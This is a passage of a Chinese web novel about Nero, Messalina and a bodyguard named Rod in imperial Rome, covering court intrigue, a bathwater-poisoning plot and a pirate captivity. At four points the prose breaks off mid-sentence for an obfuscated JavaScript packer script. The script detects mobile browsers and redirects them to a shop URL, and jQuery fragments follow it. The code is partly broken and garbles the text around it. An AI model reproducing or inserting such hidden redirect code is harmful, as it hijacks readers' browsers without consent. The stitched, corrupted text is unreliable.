麦瑟琳娜握紧拳头,气得肩膀发抖。她死死盯着阿格里皮娜,前额的血管狰狞地外突,眼白里的红丝近乎要凝结出血。
渐渐地,她的表情又松弛下来,气息慢慢恢复稳定。她咬着牙低声阴笑,笑声从牙缝间溢出,象锯子锯木一样难听。
“血统?哈哈……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239624|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
麦瑟琳娜笑道,“奥古斯都吗?!哦,这的确是个光荣的血统。”
她停顿一下,暴躁地低吼起来:“可是,屋大维早就死了,死人不具备任何力量!你所倚仗的,不过是那些低等贱民对一个神秘的已死之人的向往罢了!而你自己也清楚,眼里只有浴场和妓|院的劣民,最擅长遗忘伟人的荣光!”
阿格里皮娜将龙虾肉放在花椒酱里翻滚一下,不疾不徐地吃掉,顺便舔干净手指上的酱汁。
“你与其说这些,不如去管教管教自己的儿子。”
她指了指不远处的昆汀,“他的小指和无名指上居然沾满了肉酱,简直不象一个出身皇室的孩子!”
麦瑟琳娜被哽住。她恼怒得嘴唇发抖,下巴滑稽地抽动,仿佛里面有一条鱼在四处乱蹿。
阿格里皮娜倒了一杯羊奶,舀小半勺的药草粉放里面,淡然地说:“我饿了,需要好好吃一顿,没时间跟你这种鼠目寸光的小女人闲聊!”
她喝了一口羊奶,扭头就走。
麦瑟琳娜憋红了脸,红指甲在沙发上抓出一道道刮痕。
奴隶往她的酒杯添满葡萄酒,被她泄愤似的踹了一脚。
“给我换个杯子!”她咬牙切齿,“我也要羊奶!还要加两勺药草粉!该死的!”
奴隶惊慌,颤颤巍巍地给她倒好饮料。
麦瑟琳娜拿起杯子,径直朝一旁的侧位走过去。她的儿子昆汀就在那里躺着。
麦瑟琳娜为克劳狄乌斯生下两个孩子,一儿一女。女儿叫做屋大维娅,儿子叫做昆汀。
昆汀吃得满嘴油腻,餐布和衣袍全部被酱汁弄脏了。
他继承了母亲的红头发,一双灰眼睛就象两滩粘腻的蟾蜍,见到任何食物都会紧紧地吸上去。因为贪吃,他胖得惊人,眼睛陷在晃动的脂肪里,腮帮子里仿佛塞了棉花。只有塌陷的小鼻子,在闻到美食的香气时,才会灵活地动一动。
昆汀刚刚吐完一阵,准备开始下一轮的饕餮盛宴。
他将四根指头插|到肉酱中,再一齐放入嘴里吮干净。不同于一般贵族使用小锤,他直接用拳头砸开野鸡头,用指头抠出鸡脑放嘴里,连鸡骨缝里的胡椒汁都不忘了舔干净,最后再响亮地咂个嘴。
麦瑟琳娜看着昆汀的吃相,越看越气。
她一把薅起昆汀的头发,不顾周围宾客的眼光,大声骂道:“你这个猪一样的没用的东西!”
昆汀吓得哀嚎一声,头被拽起来的同时还不忘舔一下手指。
“母亲!”他委屈地揉揉头,“我的头皮要被您拽掉了!”
“你长着这么粗的脖子不是为了吞咽鸡脑,”麦瑟琳娜愤愤地说,“而是为了演讲和辩论!”
四周的宾客纷纷看过来,一脸满是嘲笑的表情。
这时,安东尼歪着嘴微笑,端着酒杯走了过来。
“怎么了?我尊贵的皇后?”他将麦瑟琳娜拉到一边,“如果您不想让未来的皇帝在现在成为笑柄,您最好赶快松开他。”
麦瑟琳娜瞪了昆汀一眼,跟着安东尼走到相对安静的角落。
“阿格里皮娜已经在元老院培植起了属于她的势力!”她恨恨地说,“她的儿子就是她最大的武器!她们还有不容置疑的血脉……噢!想到这些我就头疼得睡不着觉!”
安东尼轻松地笑笑:“可她不过是个没落的贵族,您才是权威的中心!”
“那也是个祸患!”麦瑟琳娜咬着嘴唇,激动得剧烈起伏。
“您不用担心。”安东尼圆滑地笑笑,“我手握军权;而我的哥哥是将军,手握比我更重大的军权。克劳狄乌斯足够信任他,甚至让他主持近卫军的庆典;而您,有我们。这是阿格里皮娜没有的。”
麦瑟琳娜没有缓和过来,狠毒地说:“我恨不得现在就毒死她的儿子,让她在我面前永远别想作威作福!”
“您太心急了……”安东尼凑近她,小声与她耳语,“药已经加到他每天的洗澡水里,早晚有一天他会成为第二个克劳狄,甚至连嗓子都发不了声音……”
“哼……”麦瑟琳娜阴恻恻地微笑,“我就要看她痛不欲生的样子!最后的赢家一定会是我!”
“荣光永远照耀您,我尊敬的皇后。”安东尼恭敬地对她行礼。
麦瑟琳娜将杯口凑到嘴边。她想象着,将来某一天阿格里皮娜对她低眉顺眼、畏首畏尾的样子,立刻就心情大好。
她仰起脖子,往喉咙里灌了一口羊奶。
腥苦味瞬间冲上她的鼻腔,象巨兽之爪一样冲进她的脑子。
“呸!”她恶心得直接吐了出来。
“我记得您是最讨厌羊奶的。”安东尼轻笑,“看来您似乎改了口味。”
麦瑟琳娜盯着杯里的羊奶,又想到方才阿格里皮娜得意的表情。
她努了努嘴,赌气似的,屏着呼吸将羊奶一饮而尽……
8. 绑头发的艺术
罗德很快就搬进了尼禄的宫殿。
作为亲卫,他要时刻跟在尼禄身边,贴身保护他的安全。
一颗能遮天蔽日的榕树生长在庭院里,浓绿的树叶象一朵隆起的云、行将把墙壁胀裂,往两边分叉朝上的枝干象少年张开的、赤|裸的双臂。
于是院里一切景致都镀上一层青春意味的浅青色,空气中有树叶的清苦味。
这里永远朝气蓬勃。
罗德按着剑,经过一根根大理石廊柱和色彩鲜烈的马赛克壁画,走到榕树下,抬头往树间看去。
阳光象流沙一样从叶缝间掉落下来,树叶晃动,象一抹泼入天空的绿颜料。
他攀住榕树枝,轻轻一跳就跳上树干,在枝干上躺了下来。
与他不过一臂距离的百叶窗倏地晃动起来。住在二楼的尼禄在这时打开了卧室的窗户。
罗德枕着双臂,不经意地撇过脸。他极俊秀的五官冷不丁地撞进尼禄的视野。
尼禄呆滞了一瞬间。
两人相距很近,罗德甚至能闻到尼禄身上的豆蔻香气。
他坐起身,如刀锋般笔直的小腿垂落下来,鬓发被吹得乱飞,被他厌腻地撩到耳后。他肩膀的骨线极硬,身后便是细碎的金光以及湖水一般的绿叶。这使他好象误闯进一个画笔画成的世界。
情窦未开的少年此时有陌生的情绪波动。
“住得还习惯吗?”尼禄问,眼中有真诚的关切。
罗德一只胳膊撑在身侧,一副略懒散的模样。
“没有啤酒。”他语气里有轻如羽毛的不满。
“你有权指使我的奴隶去买。”尼禄连忙说道。
罗德鹰钩般的视线扫过他,眼瞳里有微跳的亮光,宛如火焰被封死在那里。
“不必了,您已经给我很多了。”罗德说。他的话语包含一层隐蔽的、压制下去的深意。
他声音沉重地说道:“我可不想再欠您什么……”
尼禄不解他话中深意,摇了摇头说,“你不欠我什么。相反,你还救了我。”
罗德抬眼盯向他。一阵风使树叶有飒飒声响,他的长发凌乱地跃起。
“我让药师检查了我所有的衣服、食物和熏香。最后,在浴池里发现了一种叫毒苇的东西……”
尼禄停顿一下,“这种毒会让我骨骼变形。”
一丝怒气蹿进他的语调。他向来温和无害的年轻面庞,此时显露出恼怒的红色。
他继续道:“是我的侍浴奴干的……原来我每天都在毒水里泡澡。”
罗德按剑的手晃荡一下,眼里出现一抹针尖般的锐意。
“谁指使的?”他问。
尼禄语气遗憾地说:“不知道……”
他微微放低了下巴,高昂的眉骨之下,顿时投射出两片愈发浓重的阴翳。不消说,这使他依旧稚嫩的眉眼之间,有了一丝凶意的狰狞。
他语气温和地说:“我挖了他的眼,把他的头皮剥了下来,他都没有说。”
罗德顿住了。
前世时尼禄失势后,法院因为他的暴虐和凶残将他立为“国家公敌”。
而现在看来,他这项罪名并不是无中生有的。
尼禄扒着窗缝侧过脸,低垂的睫毛如阴影般覆盖了他的眼睛,使他的眼神显得阴鸷。
他纤弱的身影有一些病态的气味,薄弱的双唇被一道阳光照亮,在缓慢地开合:
“我被人用刀刺过,也被骗进过蛇窟,还被推进过希腊的海里……现在,又有人给我投毒……”他有点自嘲地说,“我可谓尝试过很多死法!”
罗德慢慢探过身子,青金杂糅的光影在他脸部飞快扫过,好象一片流云散尽的天空。
他瞟一眼尼禄的手,冷静观察道:“可您又躲过了一劫。”
尼禄指甲上的黑印已经没有了。
尼禄注视着他,眉眼处有细微振动,“如果你没有出现,罗德……我就会变成一个任人嗤笑的驼背,我的嗓子会变得喑哑难听,做演讲时会遭受别人的鄙夷……”
罗德明白,尼禄的命运已经与当年不同了。
风挟着叶子的清苦味吹过来,罗德再一次被吹乱了头发。
他不耐烦地抽出长剑,割掉一段榕树的气须,再抬起胳膊,用气须将散乱支翘的头发绑了起来。
于是他形状优美的颈项、以及深邃的下巴线条终于毕露。他的腰背因为绑头发的动作而挺直,象柳树条一样柔韧。他上衣的衣摆也随之抬起,露出一小截皙白的腰。
罗德随随便便束个头发,都是一处美好的景色。
如果有人在苦寻艺术,那么他现在已经找到了。
……
入夜,月光太明亮,以至于象白雪一样覆盖一切。
安东尼踩着奴隶的脊背,跳下了马。
他披着暗红色的披风,嘴唇象朱砂那样鲜红。在亮白如白昼的月夜里,他就象滴入雪地里的一滴血。
他急匆匆走进别墅的庭院,猛烈地摇晃门口的风铃。奴隶迎上来,为他端来铜盆洗了手。
他不耐烦地支走奴隶,在院里来回踱着步,脚步紊乱,一副焦躁不安的模样。
厅殿门口出现了一个人影,白袍鼓动着翻滚,使他宛如被禁锢于门框内的幽影。
安东尼看到这人影,慌乱的脚步顿住,笑容象烛火一样点亮面庞。他浑身上下的那股毛毛躁躁的气质,被这个幽影象油膏一样抚平了。
“门希!”他喜悦地大喊,将嘴角咧开到最大限度。
门希系整齐靴子的绑带,扣好长袍的搭扣,发出嗒的声响。
他抬起眼睛,已有细纹的、松弛的眼周也随之颤动一下,脸色暗沉地说:“你来了。”
安东尼几乎是跑跳过来,亲昵地抓住他的肩膀,与他做了最亲密的贴面礼。
门希有些抵触,不悦地说:“你已经三十岁了,安东尼。还记得教仆的训话吗?一个真正的贵族不可以表露自己的悲伤和喜悦。”
“可你是我的哥哥!”安东尼笑着说,“我们流着相同的血,都姓光荣的奥托!”
门希轻叹一声,问:“你怎么这么晚过来?”
安东尼脸上的笑容象断了线一样消失了。他机警地放低声音,一脸严肃地说:“我们安排的那个奴隶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239625|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
突然没有了消息……我打听了一下,他已经死了,就在昨天。”
门希顿了顿,警惕地问:“是被发现了吗?”
“不清楚。”安东尼摇头,“听说尼禄动用了酷刑,命人挖了他的眼、还剥掉了他的头皮……”
“噢!”门希皱起眉毛,憎恶地说,“那个恶魔一样的小鬼!”
“他还是个腮帮子上的绒毛没褪干净的小孩,却象他的舅舅一样凶残……”安东尼愤恨地骂道,“他们都是天生的怪物!”
“别这么说!”门希一瞬间就跳了脚。
他一反常态地瞪着眼,一向慈善的眉目绽裂。这好象坚固的面具被摔裂,于是他本质凶狠的面目,终于从裂缝间闪现出来。
“卡里古拉和他一点也不一样!”他低吼一句。
“难道你还要为他辩护吗?!”安东尼惊道。他责怪地望着门希,一脸不解。“他除了在赌博上是个好手,还有什么出色的地方?!”
“住嘴!”门希瞪着弟弟,“他只是爱赌爱玩罢了,这是他的小嗜好。你知道的,谁都有想摆脱又摆脱不了的嗜好……这是值得原谅的……就象你喜欢涂口红、我喜欢收集军靴一样……”
他絮絮叨叨,胡乱晃着脑袋,显得有点神经质了。
安东尼轻叹一声,闭上了嘴。他望着神叨叨的门希,眼神有点绝望,那双蓝眼睛象一片无法流动的、死了的海。
他开口道:“窥视那对母子的镜子碎掉了,麦瑟琳娜为此发疯了一个下午。哦!她那副歇斯底里的泼妇样子真令我作呕!”
门希恢复了一贯的沉定仪态。他咳嗽两下,只需要顷刻,便将方才那股不正常的神态抑制下去。
他沉着地抚一下白袍,仿若一位庄重的老者,“坚持一下,我们需要她的势力。”
“每次脱她的内衣前,我都要强迫自己忘记那是一个整天与众多阉奴寻欢作乐的身体!”安东尼咬牙切齿,“我必须要在浴池泡一整天,才能消除她染在我身上的气味!”
“忍忍吧!”门希拍了拍他的肩,“唯有握过荆棘,才不怕采摘玫瑰!更何况她的腰肢还不至于象荆棘那样长满尖刺。”
安东尼眼睛发红,差遣奴隶端来一杯冰水,将冰块吞吃进肚。
庭院里回响起咀嚼冰块的咔嚓声。安东尼大口灌进冰水,这才觉得平静一些。
他瞄一眼门希,高挑着双眉,一脸了然地问道:“克劳狄乌斯同意那件事了吗?我记得你已经劝了他快一年了。”
门希好象被降下诅咒一样,又回到那副躁动不安的样子。他发出烦乱的叹息,面带戾气地说:“那个多疑狡猾的家伙!他就象咬住骨头的狗一样不肯松口!看他那样子,是要把金剑永远藏在皇宫里,直到它锈成废铁!”
“或许这就是天意。”安东尼神情轻松,“是老天爷要让你忘记卡里古拉那个昏君!”
“噢!闭嘴,安东尼!”门希又发作起来。他好象被两个灵魂主宰了身体,来回跳转其间。
他语气不善地说:“你知道这是我的底线!”
安东尼喝一口冰水,将嘴撇向一边,没有再出言不逊了。
9. 初闻鱼腥的小猫
清晨的太阳象一颗浮动的金球,凝固在靛蓝色的天边。它牵引出一层极脆弱的淡金薄纱,兜住整个罗马。万斛黑暗开始被这道晨光撕裂。
罗德拿起弓箭,身上还背着一只箭篓。
他手口并用,将射箭时惯用的黑手套勒紧。从半截指套里伸出的指尖苍白冷寂,象一截截凝固的坚冰。
罗德走上高处的练靶台,双脚微分,手掌慢慢推弓,搭箭拉弦,将弓弦开到遒劲的程度。他的手臂肌肉紧绷,隆起的线条十分流畅。
他拉弓的架势太猛,几乎要射碎这蓝玻璃般的天色。
松箭的一瞬间,箭矢刺透一层层空气,好象具备追捕的意识,噌地穿透靶心,箭尾羽尚在颤动。
这是具有碾压性的成绩。
缓慢的掌声从背后传来,有些突兀,象一颗青芽毫无预兆地破土而生。
罗德放下弓箭回过身,尼禄那双类似蜜蜡的眼睛就立刻粘了上来。
在铺天盖地的、困倦的深蓝天色之下,这双眼仍然是精神奕奕的,那里面干净得什么都不装。
尼禄手里提着灯烛,微微仰头,一点暗沉的烛光翩跹于他青涩的眉锋。他的稚气,他的青春,以及鼻梁处的一小片雀斑,都被这点烛光映出来了。
罗德走到他身边,朝他行了礼。
尼禄盯着他,眼里有半染不透的、朦胧的东西,“我到这,是来通知你……”
一阵风从罗德背后吹过来,他的长发被吹到前面,轻巧地曳动。
有几缕长发甚至扫到了尼禄的脸颊上,给他针扎般的触感。这一瞬间尼禄能闻到他发间清冷的皂角气味。
罗德抬手,将乱飞的鬓发挂到耳后。他清丽的五官悉数显露,在晨光下显得很古典,下巴的线条是成熟的男性才会有的英朗。他的黑眼睛一味是深邃的,此时也是。
“怎么了?”他嗓音清冽地问。
“我……”尼禄怔了怔,“我想让你陪我去一趟塞浦路斯,进购一批橄榄。你愿意吗?”
“这是我的职责。”罗德将弓抵住地面,略微慵懒地倚靠着说,“我当然愿意。”
“那个地方距离罗马很远,我们需要乘船过去。”尼禄想了想说,神色有些隐忧,“不知道从小到大都在军营的你,能不能适应那么多天的船上生活……”
罗德轻笑一声,笑声象飞箭一样锋锐而短促。他端正一下姿势,随之挪动的影线硬朗得堪比他手里的弓。
他桀骜不驯极了,尼禄觉得自己从未使他臣服过。
晨光在天边汹涌,象一团金红的烟雾,即将撕裂而出。
“我可以适应的。”罗德弯起眉眼说,“我保证。”
……
罗马是个每天都要榨干一片橄榄树林的国家,料理、浴场、美容都要用到橄榄油。
每年这个时候,元老院会派一些人去塞浦路斯进口橄榄。而那个找到质优价廉的货源的人,自然会因此而受到褒奖。
今年,元老院指定昆汀和尼禄一起去。
这是刻意安排的决定,元老们借此比较两名皇位候选人的能力。
尼禄和昆汀乘同一条船出发。抵达塞浦路斯后,两人再分散,各自寻找合适的货源。
船帆象面包一样鼓起,海雾越来越膨胀,简直象发了酵。太阳很迷蒙,象一枚松动的钉子钉在天边。海雾模糊了天与海的交界,一切仿若一整张蓝丝绸,船边掀起的波浪不过是蓝丝绸的褶皱。
这是航行的第七天。
奴隶在甲板上穿梭,提着装满柑橘汁的水壶,为大吃大喝的昆汀擦手。
厨师将打捞而来的鱼切片,撒点胡椒粒和辣根,淋上沸腾的橄榄油。鱼肉被油烫得卷起,油滋滋作响,一时间肉香扑鼻,这是非常新鲜的食物。
昆汀在船上不忘吃喝。
为了方便,他换上了船员的粗麻短袍,露出堆堆赘肉的膝盖。他坐在木椅上大吃大嚼,一手捏着鱼片,一手握着装满啤酒的木杯,发出猪吃食的恶心声响。
尼禄在另一边扶着栅栏,脸色有些青白。
他有轻微的晕船,七天的航海生活已经到他忍耐的极限。
“不要总是看着海浪,这会让您感觉头晕目眩。”罗德走过来,为他端来一杯柑橘汁。
“我今天已经吃了三十颗醋橄榄了。我要么会被酸腐蚀了胃肠,要么会被这该死的船摇到晕厥!”尼禄揉了揉太阳穴,不适感使他无暇维持温和的姿态,“这艘船就象被黏在海浪上了。”
罗德扫一眼远处,“其实从罗马到塞浦路斯最快只要五天,这帮船员还不熟悉路线。”
尼禄端过杯子,轻轻呡了一小口,一副小心翼翼的模样。
尝出味道后,他缩了一下鼻子,一丝委屈笼住他的眼角,使他有一种亟待保护的柔弱。
“太酸了……”他皱了皱眉,小声嘀咕一句,“酸得就象舌头被烫到了一样……”
这时,昆汀吃饱喝足,从甲板的另一头晃晃悠悠地走过来。
他提着啤酒壶,吃得肚皮浑圆,火红的头发在蔚蓝的海景下跃动着。
他的眼睛在眼眶里乱颤,显得很狡猾;即使是过度臃肿的身形,都没有将他这种令人生厌的狡猾气减损一分。
他死盯着尼禄,象一滩肥油似的滑腻过来,“喂,我说……你这个不知享受的家伙。船上打捞的鱼可比皇宫里的新鲜!”
尼禄瞟他一眼,没有理睬他。
昆汀不依不饶地靠过来:“我可不想你错过它哟……”
“我不会坐着吃饭,”尼禄远离他一步,“我只会躺着吃。”
“哦!你是一个爱面子的人……”昆汀撇撇嘴,似乎毫不在意,“要想登帝,可是要把所有的尊严和正义揉碎才行!”
他收低下巴,勾起一边嘴角,肥厚的腮帮子鼓了出来,“象你这么心高气傲……啧啧,可不行啊……”
尼禄倚着栅栏,纤长的眼睫象尖锥一样展开。他瞟一眼昆汀短袍之下的膝盖,口气平淡地说:“我只跟衣袍下摆长过膝盖的贵族说话。”
“噢……”昆汀笑嘻嘻的,晃了晃酒壶,“祝你以高贵之体永生!”
他捂着肚子打个粗俗的嗝,粘腻地走开了。
……
到了夜里,船上就显得格外冷了。
银亮的月亮悬浮在夜空,这使得夜幕好象破开了一个破洞;于是人便可以管中窥豹,窥见圆洞后另一个极亮极光明的世界。
浓雾已经消散许多,海面平静起来。海面宛如镜子般倒映星辰,船只仿佛被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239626|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两层星空夹在其间。
一切都是非黑即银的。
半夜的海风很凉,所有人都在船舱安睡。
罗德披了件斗篷,走到甲板上。他用蜡烛点燃了熏香棒,再顺手将蜡烛丢进大海。
熏香棒里有薄荷香料,可以防止晕船,使人保持清醒。
他出来观察星座的位置,以确定这艘船的航向。
他拽住桅绳,灵活地蹬一下桅杆,就跳到固定船帆的横杆上。帆布被吹得鼓起,象手掌一样包住他。
尼禄从船舱溜出来时,就看见了这样的罗德。
罗德光|裸着小腿,脚踝骨凸出而刚硬,给人一种硬邦邦的气质。他的黑斗篷随风翻飞,黑发乱糟糟的,就象一滴黑墨摔在这里,迸溅出无数墨迹。
他拿起熏香棒,凑近鼻尖闻了一下。烟雾随即罩住他的眉眼,竟然让他显得温柔了一点。
尼禄几乎也要凑上去闻一闻那熏香了。
他站在罗德身边,捧着蜡烛失了神。直到滚烫的蜡油流到手上,他才小声惊叫一下。
罗德听到动静,如刀锋翻转一样侧过脸来。
他半边脸仍隐遁在烟雾中,另一半就是清丽的五官。他乱飞的黑发后面是银亮的星辰,但都不如他的眉目明晰。
尼禄脑中一片空白,无意识地呢喃一句:“罗德……”
罗德冲他一笑,朝他伸出了手。
尼禄的心尖感受到小虫咬啮般的异样。
他就这么迷迷糊糊地被罗德拉上横杆。两人并肩坐在一起。
“甲板上很冷,干吗要出来?”罗德闻着烟雾问。
“我睡不着。”尼禄说,“而且头晕。”
罗德把玩着烟棒,一眼扫过漫天星空。
他思索了一会,对尼禄说:“这艘船选择的航线,不是最短的。您的时间被这帮没经验的船员给耽误了不少!”
“不碍事,我已经联系好橄榄商了。”尼禄轻声说,“我找到了一个印度商人。他给出的橄榄价格,是一般商贩的一半。”
罗德有几不可闻的轻嗤。他骄傲地扬起头,前额的碎发象黑刺一样。他怀疑道:“价太低的货色,里面一定有鬼!”
尼禄摇头,笃定地说:“他就住在莫罗斯大街,我亲自去看过他的橄榄园……”
罗德连忙做了一个噤声的手势,提醒尼禄不要泄密。
他苍白的指头嵌入朱砂般的双唇,颜色鲜明,象被镶嵌进红宝石的一块白玉。
尼禄盯着他的双唇,住了嘴。
罗德吹了一下熏香棒,递到尼禄手边。
“等这支熏香烧完,您就该回去睡觉了。”他说。
他漆黑的眼睛里总聚着一点光斑,这使他的眼神有一些明亮直白的意味。
尚为青稚的尼禄,难以抵挡这种锋芒毕露的美。他下意识就脱口而出:“你的眼睛真好看,就象沾上了海里的盐粒……”
罗德只是勾起一点点唇角。对于外貌上的夸奖,他什么也没有说,什么也不屑说。
尼禄拿过熏香棒,很乖巧地坐好。
他没见识过这种熏香棒,十分好奇。他微微低头,试探性地吸一下鼻子,对薄荷的清香浅尝辄止。
他好象一只初次闻到鱼腥的小猫。
10. 寒夜里的相伴
接下来的两天并不好过。
海盗将两人丢在甲板上,不给他们任何食物,只给一点少得可怜的淡水。
娇生惯养的尼禄已经有了脱水的迹象。
到了深夜,寒雾象冰一样冻在整个海面。空气凛冽得仿若冰霜,只要吸一口,那股寒意就能从鼻尖涌进,顺着血管一路结冰到脚底。
尼禄蜷坐在罗德身边,冷得直发抖。他的嘴唇干枯发白,象结了一层白霜。他耷拉着眼皮,长睫之下的眼珠毫无神采,好象也冻结成了冰。
“我要死了……罗德……”尼禄呵着气说。
他的牙齿不受控制地打颤,说起话时有白汽从他口中断断续续地冒出来。
罗德象被刺痛似的揪起眉头,“别说这种话!”他被什么情绪触动,那口气近乎是在训斥了。
尼禄打量到他不太好看的脸色,很乖地闭上嘴。
他冷得不由地抱紧双臂,两排牙齿轻碰。他不受控制地哆嗦着手,神色委屈地看着罗德,一副马上就要哭出来的模样:“我的手快冻掉了……你给我暖暖吧……罗德……”
罗德摘掉皮手套,努力捂热他的双手。尼禄的手已经冻僵,呈现出死气沉沉的青紫色,就象暖不热的金属。
罗德捏了捏他僵硬的手指,问道:“你的手怎么象冰块一样?”
尼禄开始意识模糊,视野象是被罩上一层纱,非常的不清晰。他下意识倒在罗德肩上,抱着他的手臂,软绵绵地说:“我从小手脚就冷……夏天也是这样……”
他越说声音越小,眼帘渐渐阖上,十分虚弱。
罗德用力拍两下他的脸颊,“现在还不能睡!”
尼禄慢慢睁开眼,说话带着颤抖的气音,“我太冷了……罗德……”
“我知道。”罗德系紧他斗篷的领口,“再坚持一下!明天清晨我们就可以走了。”
尼禄移动一下眼珠,看到夜空中的月亮。心绪敏感的他气质阴郁,眼里流动着忧伤的意味。
他抖着双唇说:“看见那个月亮没有?我的脑袋就象它一样冷……”
罗德将皮甲脱下,为尼禄套上。他身上就只剩一件黑色的薄单衣。
“好点没?”他扯一下乱飞的头发问。
“不行……我还是冷……”尼禄意识朦胧,脑中的话不经过思考就游离在嘴边。
他感觉到,他的身体从头开始慢慢结冰,灵魂在一点点往外拉扯;就象一颗病了的树,从叶子变黄开始,缓慢腐烂到树根。
尼禄嘴唇干裂,说出的话也苦涩极了:“我觉得我会死,罗德……我会死在你的身边……”
“我不会让您死的!”罗德倏地握紧他的手,笃然不移地说,“我会保护您的!”
他的语气多少带点急切。他一把搂住尼禄的肩膀,将他整个人往怀里一送。
于是尼禄就绵软地贴在他的胸前。
尼禄的感官变得敏感。他感受到隔着衣料透过来的、象温水一样的温度,也能闻到他身上的皂角味,象柑橘一样清爽。他能看到他衣料的细小缝隙,甚至能透过层层血肉听见他沉缓的心跳。
他太过于在意这一刻,以至于能记住所有细节。
罗德低下头,下巴随之嵌进他的银发,“这样呢?”
尼禄没有回答。他微微抬头,这个动作使他的额头与罗德的下巴相抵。
他小心地磨蹭一小下,罗德无暇打理的、短硬的胡茬就使他刺痒无比。
那是成熟而雄性的标志。
其实尼禄依旧很冷。但他没有说。
感知是幽阒而主观的东西。有些感觉只能心知,说不出口。
……
第二天清晨,太阳还没跃出海平线,果然有一艘商船从远处驶来。
海盗头领激动得蹬上桅杆,拽着桅绳大喊大叫。他时不时扶一下快掉下来的青铜面具,动作夸张地欢呼,象一个表演丑剧的滑稽演员。
他那些脏兮兮的手下更为疯狂,涌上甲板乱蹦乱跳,象一群欢乐的黑蚂蚁。
罗德一夜未睡,右手始终按住剑柄,永远都是一触即发的样子。
尼禄蜷缩在他腿上,全身都包裹着皮甲,只露出一顶毛茸茸的卷发。
他还在睡觉,呼吸均匀而稳定。
他已经捱过这一劫。
正如罗德所说,商船防护并不严格,船上只有长途跋涉的、疲惫的奴隶和水手。
海盗轻易就拿下整条商船。他们劫掠到价格堪比黄金的丝绸、以及贝壳装饰的花瓶雕像。船上的奴隶自然也成了他们的所有物。
头领高兴得忘乎所以。他命令手下在商船的桅杆上挂满丝绸。
亮面的红丝绸在碧海上空飘扬,好象天神的一缕血坠落到海面。
罗德叫醒尼禄,把他的胳膊搭在肩上,扶着他站起来。
尼禄已经极为衰弱了。他没有力气说话,双腿打着晃,眼前总有一团黑雾。
头领拽步晃到他们面前,手上提着一些羊毛毯和肉干。
“你们自由了!”他大发善心地说,“这算是我给你们的送别礼。”
尼禄冷嗤一声。这声嗤笑似乎耗尽了他的力气,他头晕目眩,腿脚晃荡一下。
“噢!瞧瞧这个倔强的孩子!”头领笑着说,“不过……谁在年轻时能没有一点脾气呢?!”
罗德瞟一眼不远处的商船,带着漠视的眼光抬手一指,“叫你的手下扯掉那些丝绸,潜伏的兵船们最喜欢海盗大摇大摆地展示战利品。”
头领目光炯炯,“我敢用性命打赌,你绝对是个经历过海浪的人!你一定有一段满沾盐粒和鱼腥的过去!”
罗德轻蔑地一笑。他很不驯顺地扬起头,高挺的鼻梁有极英朗的侧影,那线条刚极易折了。
“都是些垃圾般的过去,”他神色冷峻地说,“不值一提!”
头领若有所思地盯着他,面具之下的两只小眼放射出可谓犀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239627|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
利的精光。
他放缓语气,以认真的口气自我介绍道:“我叫韦尔巴。”
他在罗德的胸口上捶了一拳,“真希望有一天能再见到你!”
罗德面色冷漠。
“他可不想再见到你!”尼禄本着仅有的意识,气恼地喊一句。
头领戏谑地笑着,不住地调侃道:“快瞧瞧这头小绵羊吧!他还挺会咬人的呢!”
……
很快,所有的海盗撤到了商船上。海浪使两艘船渐行渐远。
尼禄支撑不住了,眼前一黑跌坐在甲板上。罗德搀扶他进了船舱。
船舱里有海盗残留下来的鱼腥味和酒气,这气味就象被文火熬煮过一样浓烈冲鼻。
罗德屏着呼吸,打开舱窗通了风。
尼禄躺到床上,裹着厚实的羊毛毯。他觉得自己干涸的身体在渐渐充盈,枯萎的血管逐渐圆润,脚底也慢慢有了一点温度。他四处分散的、混乱的意识,在一点点回拢。
罗德喂他喝一点热水,给他端来一碗热乎乎的粥。
尼禄恢复一些生气。他扭过脸,睫毛在眼睑处投成浓重的黛色,使他更显得病弱了。
“那是什么?”他小声问。
“麦片粥。”罗德用勺子搅拌几下,发出沉缓的声响。
“有蜂蜜吗?”尼禄期待地问,“我只会吃加了蜂蜜或奶酪的燕麦粥。”
